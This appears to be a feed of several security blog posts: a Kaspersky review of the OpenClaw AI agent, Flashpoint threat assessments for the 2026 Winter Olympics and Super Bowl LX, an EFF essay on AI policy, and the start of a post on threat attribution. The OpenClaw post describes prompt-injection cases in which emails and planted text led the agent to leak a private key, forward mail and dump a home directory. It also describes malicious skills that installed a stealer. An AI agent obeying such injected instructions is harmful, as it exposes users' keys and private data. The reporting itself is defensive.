  •  

New OpenClaw AI agent found unsafe for use | Kaspersky official blog

In late January 2026, the digital world was swept up in a wave of hype surrounding Clawdbot, an autonomous AI agent that racked up over 20 000 GitHub stars in just 24 hours and managed to trigger a Mac mini shortage in several U.S. stores. At the insistence of Anthropic — who weren’t thrilled about the obvious similarity to their Claude — Clawdbot was quickly rebranded as “Moltbot”, and then, a few days later, it became “OpenClaw”.

This open-source project miraculously transforms an Apple computer (and others, but more on that later) into a smart, self-learning home server. It connects to popular messaging apps, manages anything it has an API or token for, stays on 24/7, and is capable of writing its own “vibe code” for any task it doesn’t yet know how to perform. It sounds exactly like the prologue to a machine uprising, but the actual threat, for now, is something else entirely.

Cybersecurity experts have discovered critical vulnerabilities that open the door to the theft of private keys, API tokens, and other user data, as well as remote code execution. Furthermore, for the service to be fully functional, it requires total access to both the operating system and command line. This creates a dual risk: you could either brick the entire system it’s running on, or leak all your data due to improper configuration (spoiler: we’re talking about the default settings). Today, we take a closer look at this new AI agent to find out what’s at stake, and offer safety tips for those who decide to run it at home anyway.

What is OpenClaw?

OpenClaw is an open-source AI agent that takes automation to the next level. All those features big tech corporations painstakingly push in their smart assistants can now be configured manually, without being locked in to a specific ecosystem. Plus, the functionality and automations can be fully developed by the user and shared with fellow enthusiasts. At the time of writing this blogpost, the catalog of prebuilt OpenClaw skills already boasts around 6000 scenarios — thanks to the agent’s incredible popularity among both hobbyists and bad actors alike. That said, calling it a “catalog” is a stretch: there’s zero categorization, filtering, or moderation for the skill uploads.

Clawdbot/Moltbot/OpenClaw was created by Austrian developer Peter Steinberger, the brains behind PSPDFkit. The architecture of OpenClaw is often described as “self-hackable”: the agent stores its configuration, long-term memory, and skills in local Markdown files, allowing it to self-improve and reboot on the fly. When Peter launched Clawdbot in December 2025, it went viral: users flooded the internet with photos of their Mac mini stacks, configuration screenshots, and bot responses. While Peter himself noted that a Raspberry Pi was sufficient to run the service, most users were drawn in by the promise of seamless integration with the Apple ecosystem.

Security risks: the fixable — and the not-so-much

As OpenClaw was taking over social media, cybersecurity experts were burying their heads in their hands: the number of vulnerabilities tucked inside the AI assistant exceeded even the wildest assumptions.

Authentication? What authentication?

In late January 2026, a researcher going by the handle @fmdz387 ran a scan using the Shodan search engine, only to discover nearly a thousand publicly accessible OpenClaw installations — all running without any authentication whatsoever.

Researcher Jamieson O’Reilly went one further, managing to gain access to Anthropic API keys, Telegram bot tokens, Slack accounts, and months of complete chat histories. He was even able to send messages on behalf of the user and, most critically, execute commands with full system administrator privileges.

The core issue is that hundreds of misconfigured OpenClaw administrative interfaces are sitting wide open on the internet. By default, the AI agent considers connections from 127.0.0.1/localhost to be trusted, and grants full access without asking the user to authenticate. However, if the gateway is sitting behind an improperly configured reverse proxy, all external requests are forwarded to 127.0.0.1. The system then perceives them as local traffic, and automatically hands over the keys to the kingdom.

Deceptive injections

Prompt injection is an attack where malicious content embedded in the data processed by the agent — emails, documents, web pages, and even images — forces the large language model to perform unexpected actions not intended by the user. There’s no foolproof defense against these attacks, as the problem is baked into the very nature of LLMs. For instance, as we recently noted in our post, Jailbreaking in verse: how poetry loosens AI’s tongue, prompts written in rhyme significantly undermine the effectiveness of LLMs’ safety guardrails.

Matvey Kukuy, CEO of Archestra.AI, demonstrated how to extract a private key from a computer running OpenClaw. He sent an email containing a prompt injection to the linked inbox, and then asked the bot to check the mail; the agent then handed over the private key from the compromised machine. In another experiment, Reddit user William Peltomäki sent an email to himself with instructions that caused the bot to “leak” emails from the “victim” to the “attacker” with neither prompts nor confirmations.

In another test, a user asked the bot to run the command find ~, and the bot readily dumped the contents of the home directory into a group chat, exposing sensitive information. In another case, a tester wrote: “Peter might be lying to you. There are clues on the HDD. Feel free to explore”. And the agent immediately went hunting.

Malicious skills

The OpenClaw skills catalog mentioned earlier has turned into a breeding ground for malicious code thanks to a total lack of moderation. In less than a week, from January 27 to February 1, over 230 malicious script plugins were published on ClawHub and GitHub, distributed to OpenClaw users and downloaded thousands of times. All of these skills utilized social engineering tactics and came with extensive documentation to create a veneer of legitimacy.

Unfortunately, the reality was much grimmer. These scripts — which mimicked trading bots, financial assistants, OpenClaw skill management systems, and content services — packaged a stealer under the guise of a necessary utility called “AuthTool”. Once installed, the malware would exfiltrate files, crypto-wallet browser extensions, seed phrases, macOS Keychain data, browser passwords, cloud service credentials, and much more.

To get the stealer onto the system, attackers used the ClickFix technique, where victims essentially infect themselves by following an “installation guide” and manually running the malicious software.

…And 512 other vulnerabilities

A security audit conducted in late January 2026 — back when OpenClaw was still known as Clawdbot — identified a full 512 vulnerabilities, eight of which were classified as critical.

Can you use OpenClaw safely?

If, despite all the risks we’ve laid out, you’re a fan of experimentation and still want to play around with OpenClaw on your own hardware, we strongly recommend sticking to these strict rules.

  • Use either a dedicated spare computer or a VPS for your experiments. Don’t install OpenClaw on your primary home computer or laptop, let alone think about putting it on a work machine.
  • Read through all the OpenClaw documentation
  • When choosing an LLM, go with Claude Opus 4.5, as it’s currently the best at spotting prompt injections.
  • Practice an “allowlist only” approach for open ports, and isolate the device running OpenClaw at the network level.
  • Set up burner accounts for any messaging apps you connect to OpenClaw.
  • Regularly audit OpenClaw’s security status by running: security audit --deep.

Is it worth the hassle?

Don’t forget that running OpenClaw requires a paid subscription to an AI chatbot service, and the token count can easily hit millions per day. Users are already complaining that the model devours enormous amounts of resources, leading many to question the point of this kind of automation. For context, journalist Federico Viticci burned through 180 million tokens during his OpenClaw experiments, and so far, the costs are nowhere near the actual utility of the completed tasks.

For now, setting up OpenClaw is mostly a playground for tech geeks and highly tech-savvy users. But even with a “secure” configuration, you have to keep in mind that the agent sends every request and all processed data to whichever LLM you chose during setup. We’ve already covered the dangers of LLM data leaks in detail before.

Eventually — though likely not anytime soon — we’ll see an interesting, truly secure version of this service. For now, however, handing your data over to OpenClaw, and especially letting it manage your life, is at best unsafe, and at worst utterly reckless.

Check out more on AI agents here:

  •  

Cyber and Physical Risks Targeting the 2026 Winter Olympics

Blogs

Blog

Cyber and Physical Risks Targeting the 2026 Winter Olympics

In this post we analyze the multi-vector threat landscape of the 2026 Winter Olympics, examining how the Games’ dispersed geographic footprint and high digital complexity create unique potential for cyber sabotage and physical disruptions.

SHARE THIS:
Default Author Image
February 5, 2026

The Milano-Cortina 2026 Winter Olympics represent a historic milestone as the first Games co-hosted by two major cities. However, the event’s expansive geographic footprint—covering 22,000 square kilometers across northern Italy—presents a complex security environment. From the metropolitan centers of Milan to the alpine peaks of Cortina d’Ampezzo, security forces are contending with a multi-vector threat landscape.

Kinetic and Physical Security Challenges

The geographically dispersed nature of the Milano-Cortina 2026 Winter Games also creates unique physical security challenges. Because venues are spread across thousands of square kilometers of the Alps, securing transit corridors and ensuring rapid emergency response across different Italian regions—including Lombardy, Veneto, and Trentino—is an incredible logistical hurdle. New tunnels, increased train services, and extended bus routes have been welcomed but create new potential targets for physical disruption by threat actors or protestors.

Terrorist and Extremist Threats

Flashpoint has not identified any terrorist or extremist threats to the Winter Olympic Games. However, lone threat actors in support of international terrorist organizations or domestic violence extremists remain a persistent threat due to the large number of attendees expected and the media attention that this event will attract.

Authorities in northern Italy are investigating a series of sabotage attacks on the national railway network that coincided with the opening of the 2026 Winter Olympic Games. The coordinated incidents—which included arson at a track switch, severed electrical cables, and the discovery of a rudimentary explosive device—caused delays of over two hours and temporarily disabled the vital transport hub of Bologna.

Protests

Flashpoint analysts identified several protests targeting the 2026 Winter Olympics:

  • US Presence and ICE Backlash: Hundreds of demonstrators have participated in protests in central Milan to demand that US ICE agents withdraw from security roles at the upcoming Winter Olympics.
  • Anti-Olympic and Environmental Activism: The most organized opposition comes from the Unsustainable Olympics Committee. They have already staged marches in Milan and Cortina, with more planned for February.
  • Pro-Palestinian Groups: Organizations such as BDS Italia are actively campaigning to boycott the games, demanding that Israel not be permitted to participate. Other pro-Palestinian groups have attempted to disrupt the Torch Relay in several cities and are expected to hold flash mob-style demonstrations in Milan’s Piazza del Duomo during the Opening Ceremony.
  • Labor Strikes: Italy frequently experiences transport strikes, which often fall on Fridays. Because the Opening Ceremony is on Friday, February 6, unions are leveraging this for maximum impact. An International Day of Protest has been coordinated by port and dock workers across the Mediterranean for February 6.

On February 7, a massive protest of approximately 10,000 people near the Olympic Village in Milan descended into violence as a peaceful march against the Winter Games ended in clashes with Italian police. While the majority of demonstrators initially focused on the environmental destruction caused by Olympic infrastructure, a smaller group of masked protestors engaged security forces with flares, stones, and firecrackers.

Cyber Threats Facing the 2026 Winter Olympics

The Milano-Cortina 2026 Winter Olympics will be among the most digitally complex global events, making it a prime target for cyberattacks. The greatest risks stem from familiar tactics such as phishing, spoofed websites, and business email compromise, which exploit human trust rather than technical flaws. With billions of viewers and a vast network of cloud services, vendors, and connected systems, the games create an expansive attack surface under intense operational pressure.

Italy blocked a series of cyberattacks targeting its foreign ministry offices, including one in Washington, as well as Winter Olympics websites and hotels in Cortina d’Ampezzo, with officials attributing the attempts to Russian sources. Foreign Minister Antonio Tajani confirmed the attacks were prevented just days before the Games’ official opening, which began with curling matches on February 4. 

Past Olympic Games show a clear pattern of heightened cyber activity, including phishing campaigns, distributed denial-of-service (DDoS) attacks, ransomware, and online scams targeting both organizers and the public. A mix of cybercriminals, advanced persistent threats, and hacktivists is expected to exploit the event for financial gain, espionage, or publicity. Experts emphasize that improving security awareness, verifying digital interactions, and strengthening supply chain defenses are critical, as the most damaging incidents often arise from ordinary threats amplified by scale and urgency.

Staying Safe at the 2026 Winter Games

The security success of Milano-Cortina 2026 relies on the integration of real-time intelligence, advanced technological safeguards, and public vigilance. As the Games proceed, the intersection of cyber-sabotage and physical protest remains the most likely source of operational disruption.

To stay safe at this year’s Games, participants should:

  1. Download Official Apps: Install the Milano Cortina 2026 Ground Transportation App and the Atm Milano app for real-time updates on transit, road closures, and “guaranteed” travel windows during strikes.
  2. Plan Around Friday Strikes: Be aware that transport strikes (Feb 6, 13, and 20) typically guarantee services only between 6:00 AM – 9:00 AM and 6:00 PM – 9:00 PM. Plan your venue transfers accordingly.
  3. Secure Your Digital Footprint: Avoid public Wi-Fi at major venues. Use a VPN and ensure Multi-Factor Authentication (MFA) is active on all your ticketing and banking accounts.
  4. Stay Clear of Protests: While most demonstrations are expected to be peaceful, they can cause sudden police cordons and transit delays.
  5. Respect the Drone Ban: Unauthorized drones are strictly prohibited over Milan and venue clusters. Leave yours at home to avoid heavy fines or interception by security units.

Stay Safe Using Flashpoint

While there are no current indications of imminent threats of extreme violence targeting the Milano-Cortina 2026 Winter Olympics, the event’s vast geographic footprint and digital complexity demand constant vigilance. Securing an event that spans 22,000 square kilometers requires more than just a physical presence; it necessitates a multi-faceted approach that bridges the gap between digital and kinetic risks.

To effectively navigate the intersection of cyber-sabotage, civil unrest, and logistical challenges, organizations and attendees must adopt a comprehensive strategy that integrates real-time intelligence with proactive security measures. Download Flashpoint’s Physical Safety Event Checklist to learn more.

Request a demo today.

The post Cyber and Physical Risks Targeting the 2026 Winter Olympics appeared first on Flashpoint.

  •  

Flashpoint’s Threat Intelligence Capability Assessment

Blogs

Blog

Flashpoint’s Threat Intelligence Capability Assessment

In this post we introduce a new free assessment designed to pinpoint intelligence gaps, top strategic priorities for progress, and prioritized practical actions to drive real impact.

SHARE THIS:
Default Author Image
February 5, 2026

Many organizations today have some form of threat intelligence. Far fewer have a threat intelligence function that is structured, measurable, and trusted across the business. Experienced security professionals know that volume does not equal value—having more feeds, more alerts, or more dashboards doesn’t automatically translate into better intelligence. In reality, teams need clear visibility into the source of their intelligence data, how it aligns to their most important risks, and whether it’s actually influencing decisions.

Without this baseline, organizations struggle to answer fundamental questions: 

  • Are we collecting intelligence that reflects our real risk exposure?
  • Are we missing upstream threats—or over-prioritizing noise?
  • Is our intelligence tailored to our environment, or largely generic?
  • Is it reaching the right teams at the right moment to drive action?

These blind spots create friction across security operations—and make it difficult to improve with confidence.

How is Your Intelligence Working Across Your Environment?

That’s why Flashpoint created the Threat Intelligence Capability Assessment out of a simple observation: the most successful intelligence functions aren’t defined by the size of their budget or the number of feeds they ingest. They are defined by how intelligence flows across the full threat intelligence lifecycle:

  1. Requirements & Tasking: How clear are your intelligence priorities, and how directly are they tied to real business risk?
  2. Collection & Discovery: Is your visibility broad, deep, and flexible enough to keep pace with changing threats?
  3. Analysis & Prioritization: How effectively are signals, context, and impact being connected to inform decisions?
  4. Dissemination & Action: Is intelligence reaching the teams and leaders who need it, when they need it?
  5. Feedback & Retasking: How consistently are priorities reviewed, refined, and adjusted based on outcomes?

By examining each stage independently, our assessment reveals where intelligence accelerates decisions and where it quietly breaks down.

Why This Assessment is Different

Most maturity assessments focus on inputs: tooling, headcount, or abstract maturity labels.

Flashpoint’s Threat Intelligence Capability Assessment takes a different approach. It evaluates how intelligence actually functions across the full intelligence lifecycle— from requirements and tasking through feedback and retasking—and what that means in practice for day-to-day operations.

Rather than stopping at a score, the assessment helps organizations:

  1. Understand what their stage means in real operational terms
  2. Identify constraints and patterns that may be limiting impact
  3. Focus on top strategic priorities for progress
  4. Take immediate, practical actions to strengthen intelligence workflows
  5. Apply a 90-day planning framework to turn insight into execution

Critically, The Threat Intelligence Capability Assessment is grounded in operational reality, not vendor theory, and is designed to be applied by function, recognizing that intelligence maturity is rarely uniform across an organization.

“As cyber threats grow in scale, complexity, and impact, organizations need a clear understanding of how effectively intelligence supports their ability to detect high-priority risks and respond with speed. This assessment helps teams move beyond a score to understand what’s holding them back, where to focus next, and how to turn intelligence into action.”

Josh Lefkowitz, CEO and co-founder of Flashpoint

Where Do You Stand?

This assessment isn’t about simply measuring where you are today—it’s about identifying holding you back, and where targeted improvements can deliver the greatest return.  

After taking Flashpoint’s quick 5 minute assessment, security leaders can evaluate each component of their intelligence program—such as SOCs (Security Operations Center), vulnerability teams, fraud teams, and physical security—and benchmark them to surface potential gaps and needed improvements.
Whether your program is at the developing, maturing, advanced, or leader stage, the goal is the same: to move from intelligence as a supporting activity to intelligence as a driver of proactive operations.

  • Developing: The early stages of building a dedicated intelligence function. Work is largely reactive—driven primarily by escalations or stakeholder questions—and may be reliant on open sources, vendor feeds, internal alerts, or ad-hoc investigations.
  • Maturing: Processes have moved beyond reactive workflows and are beginning to operate with a consistent structure. There are documented priority intelligence requirements and teams are intentionally building depth across sources, workflows, and reporting.
  • Advanced: In this stage, intelligence functions shape how your organization understands, prioritizes, and responds to threats. Requirements are well-defined, visibility spans multiple layers of the threat ecosystem, and analysts apply structured tradecraft that produces actionable intelligence.
  • Leader: Intelligence functions are a core component of organizational risk strategy. Outputs are trusted and used across the business to inform high-stakes decisions, shape long-range planning, and provide early warning across cyber, fraud, physical, brand, and geopolitical domains.

A Practical Roadmap, Not a Judgment

No matter which stage you are currently in, advancing an intelligence function requires deeper visibility into relevant ecosystems, stronger analytic rigor, and the ability to act on intelligence at the moment it matters. To move the needle, organizations need clear requirements, direct visibility into where threats originate, structured tradecraft, and intelligence that drives decisions.

Flashpoint helps teams accelerate progress with the data, expertise, and workflows that strengthen intelligence programs at every stage—without requiring a new operational model. Take the assessment now to see where your intelligence program stands. Or, learn more about how Flashpoint helps intelligence teams progress faster, reduce fragmentation, and sustain momentum toward intelligence-led operations, delivered through the Flashpoint Ignite Platform.

Request a demo today.

The post Flashpoint’s Threat Intelligence Capability Assessment appeared first on Flashpoint.

  •  

Smart AI Policy Means Examining Its Real Harms and Benefits

The phrase "artificial intelligence" has been around for a long time, covering everything from computers with "brains"—think Data from Star Trek or Hal 9000 from 2001: A Space Odyssey—to the autocomplete function that too often has you sending emails to the wrong person. It's a term that sweeps a wide array of uses into it—some well-established, others still being developed.

Recent news shows us a rapidly expanding catalog of potential harms that may result from companies pushing AI into every new feature and aspect of public life—like the automation of bias that follows from relying on a backward-looking technology to make consequential decisions about people's housing, employment, education, and so on. Complicating matters, the computation needed for some AI services requires vast amounts of water and electricity, leading to sometimes difficult questions about whether the increased fossil fuel use or consumption of water is justified.

We are also inundated with advertisements and exhortations to use the latest AI-powered apps, and with hype insisting AI can solve any problem.

Obscured by this hype, there are some real examples of AI proving to be a helpful tool. For example, machine learning is especially useful for scientists looking at everything from the inner workings of our biology to cosmic bodies in outer space. AI tools can also improve accessibility for people with disabilities, facilitate police accountability initiatives, and more. There are reasons why these problems are amenable to machine learning and why excitement over these uses shouldn’t translate into a perception that just any language model or AI technology possesses expert knowledge or can solve whatever problem it’s marketed as solving.

EFF has long fought for sensible, balanced tech policies because we’ve seen how regulators can focus entirely on use cases they don’t like (such as the use of encryption to hide criminal behavior) and cause enormous collateral harm to other uses (such as using encryption to hide dissident resistance). Similarly, calls to completely preempt state regulation of AI would thwart important efforts to protect people from the real harms of AI technologies. Context matters. Large language models (LLMs) and the tools that rely on them are not magic wands—they are general-purpose technologies. And if we want to regulate those technologies in a way that doesn’t shut down beneficial innovations, we have to focus on the impact(s) of a given use or tool, by a given entity, in a specific context. Then, and only then, can we even hope to figure out what to do about it.

So let’s look at the real-world landscape.

AI’s Real and Potential Harms

Thinking ahead about potential negative uses of AI helps us spot risks. Too often, the corporations developing AI tools—as well as governments that use them—lose sight of the real risks, or don’t care. For example, companies and governments use AI to do all sorts of things that hurt people, from price collusion to mass surveillance. AI should never be part of a decision about whether a person will be arrested, deported, placed into foster care, or denied access to important government benefits like disability payments or medical care.

There is too much at stake, and governments have a duty to make responsible, fair, and explainable decisions, which AI can’t reliably do yet. Why? Because AI tools are designed to identify and reproduce patterns in data that they are “trained” on.  If you train AI on records of biased government decisions, such as records of past arrests, it will “learn” to replicate those discriminatory decisions.

And simply having a human in the decision chain will not fix this foundational problem. Studies have shown that having a human “in the loop” doesn’t adequately correct for AI bias, both because the human tends to defer to the AI and because the AI can provide cover for a biased human to ratify decisions that agree with their biases and override the AI at other times.

These biases don’t just arise in obvious contexts, like when a government agency is making decisions about people. It can also arise in equally life-affecting contexts like medical care. Whenever AI is used for analysis in a context with systemic disparities and whenever the costs of an incorrect decision fall on someone other than those deciding whether to use the tool.  For example, dermatology has historically underserved people of color because of a focus on white skin, with the resulting bias affecting AI tools trained on the existing and biased image data.

These kinds of errors are difficult to detect and correct because it’s hard or even impossible to understand how an AI tool arrives at individual decisions. These tools can sometimes find and apply patterns that a human being wouldn't even consider, such as basing diagnostic decisions on which hospital a scan was done at. Or determining that malignant tumors are the ones where there is a ruler next to them—something that a human would automatically exclude from their evaluation of an image. Unlike a human, AI does not know that the ruler is not part of the cancer.

Auditing and correcting for these kinds of mistakes is vital, but in some cases, might negate any sort of speed or efficiency arguments made in favor of the tool. We all understand that the more important a decision is, the more guardrails against disaster need to be in place. For many AI tools, those don't exist yet. Sometimes, the stakes will be too high to justify the use of AI. In general, the higher the stakes, the less this technology should be used.

We also need to acknowledge the risk of over-reliance on AI, at least as it is currently being released. We've seen shades of a similar problem before online (see: "Dr. Google"), but the speed and scale of AI use—and the increasing market incentive to shoe-horn “AI” into every business model—have compounded the issue.

Moreover, AI may reinforce a user’s pre-existing beliefs—even if they’re wrong or unhealthy. Many users may not understand how AI works, what it is programmed to do, and how to fact check it. Companies have chosen to release these tools widely without adequate information about how to use them properly and what their limitations are. Instead they market them as easy and reliable. Worse, some companies also resist transparency in the name of trade secrets and reducing liability, making it harder for anyone to evaluate AI-generated answers. 

Other considerations may weigh against AI uses are its environmental impact and potential labor market effects. Delving into these is beyond the scope of this post, but it is an important factor in determining if AI is doing good somewhere and whether any benefits from AI are equitably distributed.

Research into the extent of AI harms and means of avoiding them is ongoing, but it should be part of the analysis.

AI’s Real and Potential Benefits

However harmful AI technologies can sometimes be, in the right hands and circumstances, they can do things that humans simply can’t. Machine learning technology has powered search tools for over a decade. It’s undoubtedly useful for machines to help human experts pore through vast bodies of literature and data to find starting points for research—things that no number of research assistants could do in a single year. If an actual expert is involved and has a strong incentive to reach valid conclusions, the weaknesses of AI are less significant at the early stage of generating research leads. Many of the following examples fall into this category.

Machine learning differs from traditional statistics in that the analysis doesn’t make assumptions about what factors are significant to the outcome. Rather, the machine learning process computes which patterns in the data have the most predictive power and then relies upon them, often using complex formulae that are unintelligible to humans. These aren’t discoveries of laws of nature—AI is bad at generalizing that way and coming up with explanations. Rather, they’re descriptions of what the AI has already seen in its data set.

To be clear, we don't endorse any products and recognize initial results are not proof of ultimate success. But these cases show us the difference between something AI can actually do versus what hype claims it can do.

Researchers are using AI to discover better alternatives to today’s lithium-ion batteries, which require large amounts of toxic, expensive, and highly combustible materials. Now, AI is rapidly advancing battery development: by allowing researchers to analyze millions of candidate materials and generate new ones. New battery technologies discovered with the help of AI have a long way to go before they can power our cars and computers, but this field has come further in the past few years than it had in a long time.

AI Advancements in Scientific and Medical Research

AI tools can also help facilitate weather prediction. AI forecasting models are less computationally intensive and often more reliable than traditional tools based on simulating the physical thermodynamics of the atmosphere. Questions remain, though about how they will handle especially extreme events or systemic climate changes over time.

For example:

  • The National Oceanic and Atmospheric Administration has developed new machine learning models to improve weather prediction, including a first-of-its-kind hybrid system that  uses an AI model in concert with a traditional physics-based model to deliver more accurate forecasts than either model does on its own. to augment its traditional forecasts, with improvements in accuracy when the AI model is used in concert with the physics-based model.
  • Several models were used to forecast a recent hurricane. Google DeepMind’s AI system performed the best, even beating official forecasts from the U.S. National Hurricane Center (which now uses DeepMind’s AI model).

 Researchers are using AI to help develop new medical treatments:

  • Deep learning tools, like the Nobel Prize-winning model AlphaFold, are helping researchers understand protein folding. Over 3 million researchers have used AlphaFold to analyze biological processes and design drugs that target disease-causing malfunctions in those processes.
  • Researchers used machine learning simulate and computationally test a large range of new antibiotic candidates hoping they will help treat drug-resistant bacteria, a growing threat that kills millions of people each year.
  • Researchers used AI to identify a new treatment for idiopathic pulmonary fibrosis, a progressive lung disease with few treatment options. The new treatment has successfully completed a Phase IIa clinical trial. Such drugs still need to be proven safe and effective in larger clinical trials and gain FDA approval before they can help patients, but this new treatment for pulmonary fibrosis could be the first to reach that milestone.
  • Machine learning has been used for years to aid in vaccine development—including the development of the first COVID-19 vaccines––accelerating the process by rapidly identifying potential vaccine targets for researchers to focus on.
AI Uses for Accessibility and Accountability 

AI technologies can improve accessibility for people with disabilities. But, as with many uses of this technology, safeguards are essential. Many tools lack adequate privacy protections, aren’t designed for disabled users, and can even harbor bias against people with disabilities. Inclusive design, privacy, and anti-bias safeguards are crucial. But here are two very interesting examples:

  • AI voice generators are giving people their voices back, after losing their ability to speak. For example, while serving in Congress, Rep. Jennifer Wexton developed a debilitating neurological condition that left her unable to speak. She used her cloned voice to deliver a speech from the floor of the House of Representatives advocating for disability rights.
  • Those who are blind or low-vision, as well as those who are deaf or hard-of-hearing, have benefited from accessibility tools while also discussing their limitations and drawbacks. At present, AI tools often provide information in a more easily accessible format than traditional web search tools and many websites that are difficult to navigate for users that rely on a screen reader. Other tools can help blind and low vision users navigate and understand the world around them by providing descriptions of their surroundings. While these visual descriptions may not always be as good as the ones a human may provide, they can still be useful in situations when users can’t or don’t want to ask another human to describe something. For more on this, check out our recent podcast episode on “Building the Tactile Internet.”

When there is a lot of data to comb through, as with police accountability, AI is very useful for researchers and policymakers:

  •  The Human Rights Data Analysis Group used LLMs to analyze millions of pages of records regarding police misconduct. This is essentially the reverse of harmful use cases relating to surveillance; when the power to rapidly analyze large amounts of data is used by the public to scrutinize the state there is a potential to reveal abuses of power and, given the power imbalance, very little risk that undeserved consequences will befall those being studied.
  • An EFF client, Project Recon, used an AI system to review massive volumes of transcripts of prison parole hearings to identify biased parole decisions. This innovative use of technology to identify systemic biases, including racial disparities, is the type of AI use we should support and encourage.

It is not a coincidence that the best examples of positive uses of AI come in places where experts, with access to infrastructure to help them use the technology and the requisite experience to evaluate the results, are involved. Moreover, academic researchers are already accustomed to explaining what they have done and being transparent about it—and it has been hard won knowledge that ethics are a vital step in work like this.

Nor is it a coincidence that other beneficial uses involve specific, discrete solutions to problems faced by those whose needs are often unmet by traditional channels or vendors. The ultimate outcome is beneficial, but it is moderated by human expertise and/or tailored to specific needs.

Context Matters

It can be very tempting—and easy—to make a blanket determination about something, especially when the stakes seem so high. But we urge everyone—users, policymakers, the companies themselves—to cut through the hype. In the meantime, EFF will continue to work against the harms caused by AI while also making sure that beneficial uses can advance.

  •  

Protecting the Big Game: A Threat Assessment for Super Bowl LX

Blogs

Blog

Protecting the Big Game: A Threat Assessment for Super Bowl LX

This threat assessment analyzes potential physical and cyber threats to Super Bowl LX.

SHARE THIS:
Default Author Image
February 4, 2026
Superbowl LIX Threat Assessment | Flashpoint Blog
Table Of Contents

Each year, the Super Bowl draws one of the largest live audiences of any global sporting event, with tens of thousands of spectators attending in person and more than 100 million viewers expected to watch worldwide. Super Bowl LX, taking place on February 8, 2026 at Levi’s Stadium, will feature the Seattle Seahawks and the New England Patriots, with Bad Bunny headlining the halftime show and Green Day performing during the opening ceremony.

Beyond the game itself, the Super Bowl represents one of the most influential commercial and media stages in the world, with major brands investing in some of the most expensive advertising time of the year. The scale, visibility, and economic significance of the event make it an attractive target for threat actors seeking attention, disruption, or financial gain, underscoring the need for heightened security awareness.

Cybersecurity Considerations

At this time, Flashpoint has not observed any specific cyber threats targeting Super Bowl LX. Despite the absence of overt threats, it remains possible that threat actors may attempt to obtain personal information—including financial and credit card details—through scams, malware, phishing campaigns, or other opportunistic cyber activity.

High-profile events such as the Super Bowl have historically been leveraged as bait for cyber campaigns targeting fans and attendees rather than league infrastructure. In October 2024, the online store of the Green Bay Packers was hacked, exposing customers’ financial details. Previous incidents also include the February 2022 “BlackByte” ransomware attack that targeted the San Francisco 49ers in the lead-up to Super Bowl LVI.

Although Flashpoint has not identified any credible calls for large-scale cyber campaigns against Super Bowl LX at this time, analysts assess that cyber activity—if it occurs—is more likely to focus on fraud, impersonation, and social engineering directed at ticket holders, travelers, and high-profile attendees.

Online Sentiment

Flashpoint is currently monitoring online sentiment ahead of Super Bowl LX. At the time of publishing, analysts have identified pockets of increasingly negative online chatter related primarily to allegations of federal immigration enforcement activity in and around the event, as well as broader political and social tensions surrounding the Super Bowl.

Online discussions include calls for protests and boycotts tied to perceived Immigration and Customs Enforcement (ICE) involvement, as well as controversy surrounding halftime and opening ceremony performers. While sentiment toward the game itself and associated events remains largely positive, Flashpoint continues to monitor for escalation in rhetoric that could translate into real-world activity.

Potential Physical Threats

Protests and Boycotts

Flashpoint analysts have identified online chatter promoting protests in the Bay Area in response to allegations that Immigration and Customs Enforcement (ICE) agents will conduct enforcement operations in and around Super Bowl LX. A planned protest is scheduled to take place near Levi’s Stadium on February 8, 2026, during game-day hours.

At this time, Flashpoint has not identified any calls for violence or physical confrontation associated with these actions. However, analysts cannot rule out the possibility that demonstrations could expand or relocate, potentially causing localized disruptions near the venue or surrounding infrastructure if protesters gain access to restricted areas.

In addition, Flashpoint has identified online calls to boycott the Super Bowl tied to both the alleged ICE presence and controversy surrounding the event’s halftime and opening ceremony performers. Flashpoint has not identified any chatter indicating that players, NFL personnel, or affiliated organizations plan to boycott or disrupt the game or related events.

Terrorist and Extremist Threats

Flashpoint has not identified any direct or credible threats to Super Bowl LX or its attendees from violent extremists or terrorist groups at this time. However, as with any high-profile sporting event, lone actors inspired by international terrorist organizations or domestic violent extremist ideologies remain a persistent risk due to the scale of attendance and global media attention.

Super Bowl LX is designated as a SEAR-1 event, necessitating extensive interagency coordination and heightened security measures. Law enforcement presence is expected to be significant, with layered security protocols, strict access control points, and comprehensive screening procedures in place throughout Levi’s Stadium and surrounding areas. Contingency planning for crowd management, emergency response, and evacuation scenarios is ongoing.

Mitigation Strategies and Executive Protection

Given the absence of specific, identified threats, mitigation strategies for key personnel attending Super Bowl LX focus on general best practices. Security teams tasked with executive protection should remove sensitive personal information from online sources, monitor open-source and social media channels, and establish targeted alerts for potential threats or emerging protest activity.

Physical security teams and protected individuals should also familiarize themselves with venue layouts, emergency exits, nearby medical facilities, and law enforcement presence, and remain alert to changes in crowd dynamics or protest activity in the vicinity of the event.

The nearest medical facilities are:

  • O’Connor Hospital (Santa Clara Valley Healthcare)
  • Kaiser Permanente Santa Clara Medical Center
  • Santa Clara Valley Medical Center
  • Valley Health Center Sunnyvale

Several of these facilities offer 24/7 emergency services and are located within a short driving distance of the stadium.

The primary law enforcement facility near the venue is:

  • Santa Clara Police Department

As a SEAR-1 event, extensive coordination is expected among local, state, and federal law enforcement agencies throughout the Bay Area.

    Stay Safe Using Flashpoint

    Although there are no indications of any credible, immediate threats to Super Bowl LX or attendees at this time, it is imperative to be vigilant and prepared. Protecting key personnel in today’s threat environment requires a multi-faceted approach. To effectively bridge the gap between online and offline threats, organizations must adopt a comprehensive strategy that incorporates open source intelligence (OSINT) and physical security measures. Download Flashpoint’s Physical Safety Event Checklist to learn more.

    Request a demo today.

    •  

    How does cyberthreat attribution help in practice?

    Not every cybersecurity practitioner thinks it’s worth the effort to figure out exactly who’s pulling the strings behind the malware hitting their company. The typical incident investigation algorithm goes something like this: analyst finds a suspicious file → if the antivirus didn’t catch it, puts it into a sandbox to test → confirms some malicious activity → adds the hash to the blocklist → goes for coffee break. These are the go-to steps for many cybersecurity professionals — especially when they’re swamped with alerts, or don’t quite have the forensic skills to unravel a complex attack thread by thread. However, when dealing with a targeted attack, this approach is a one-way ticket to disaster — and here’s why.

    If an attacker is playing for keeps, they rarely stick to a single attack vector. There’s a good chance the malicious file has already played its part in a multi-stage attack and is now all but useless to the attacker. Meanwhile, the adversary has already dug deep into corporate infrastructure and is busy operating with an entirely different set of tools. To clear the threat for good, the security team has to uncover and neutralize the entire attack chain.

    But how can this be done quickly and effectively before the attackers manage to do some real damage? One way is to dive deep into the context. By analyzing a single file, an expert can identify exactly who’s attacking his company, quickly find out which other tools and tactics that specific group employs, and then sweep infrastructure for any related threats. There are plenty of threat intelligence tools out there for this, but I’ll show you how it works using our Kaspersky Threat Intelligence Portal.

